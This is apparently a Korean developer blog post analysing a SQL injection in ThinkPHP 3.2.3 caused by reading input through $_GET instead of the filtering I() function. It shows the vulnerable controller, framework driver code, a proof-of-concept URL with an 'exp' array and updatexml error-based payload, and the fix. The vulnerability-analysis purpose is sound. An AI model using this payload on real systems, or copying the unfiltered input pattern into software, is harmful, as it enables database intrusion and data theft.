개발 꿀팁/PHP

Think PHP의 잘못된 쓰기로 인한 SQL 주입 취약성 코드 분석

Jammie 2022. 10. 19. 12:58
반응형

Think PHP의 잘못된 쓰기로 인해 SQL 주입
백엔드 코드

# application/home/controller/IndexController.class.php
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index(){
        $username=I("username");
        // I 함수의 역할은 시스템 변수를 획득하는 것이며, 필요한 경우 변수 값을 필터링 및 강제 변환하는 것도 가능하다
        $data=M("admin")->where(array("name"=>$username))->find();
        //M 방법은 $User = new Model('User')과 동일한 기본 모델 클래스를 인스턴스화하는 데 사용됩니다

        dump($data);
    }
}

우선 파라미터 입력, 디버깅 분석

인자는 기본적으로 필터 함수를 통과합니다

# Model.class.php
$resultSet          =   $this->db->select($options);

# Driver.class.php
protected function parseValue($value) {
    if(is_string($value)) {
        $value =  strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';

# Driver.class.php
public function escapeString($str) {
    return addslashes($str);
}

# 정확한 글쓰기는 필터 함수를 거친다
?username=2%27
SELECT * FROM `admin` WHERE `name` = '2\'' LIMIT 1

틀린 글씨

# application/home/controller/IndexController.class.php
public function index(){
    $username=$_GET("username");
    $data=M("admin")->where(array("name"=>$username))->find();
    dump($data);
}

poc

http://localhost/thinkphp/thinkphp_3.2.3_full/?username[0]=exp&username[1]==%27admin%27%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23

취약점 원인

exp 표현

exp 쿼리의 조건은 처리되지 않습니다문자열입니다. 따라서 다음 쿼리 조건에는 함수 및 필드 이름을 포함한 SQL 지원 구문을 사용할 수 있습니다. 쿼리 표현은 쿼리 조건뿐만 아니라 데이터 업데이트에도 사용할 수 있습니다

$map['id']=array('in','1,3,8');

#exp 표현
$map['id']=array('exp',IN (1,2,8))
# 취약성 함수 Driver.class.php
protected function parseWhereItem($key,$val) {
    $whereStr = '';
    if(is_array($val)) {
        if(is_string($val[0])) {
$exp   =  strtolower($val[0]);
            if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 비교 연산
                $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                .....
                }elseif('exp' == $exp ){ // 표현식 사용하기
                    $whereStr .= $key.' '.$val[1];
                # exp 표현을 사용하지만 필터링되지 않음
                ......
# 취약성 함수 Driver.class.php
protected function parseWhereItem($key,$val) {
    $whereStr = '';
    if(is_array($val)) {
        if(is_string($val[0])) {
$exp   =  strtolower($val[0]);
            if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 비교 연산
                $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                .....
                }elseif('exp' == $exp ){ // 표현식 사용하기
                    $whereStr .= $key.' '.$val[1];
                # exp 표현을 사용하지만 필터링되지 않음
                ......

버그 복구

데이터 수신에 I 함수 사용

I 함수에 보안 필터 함수가 내장되어 있음

 

반응형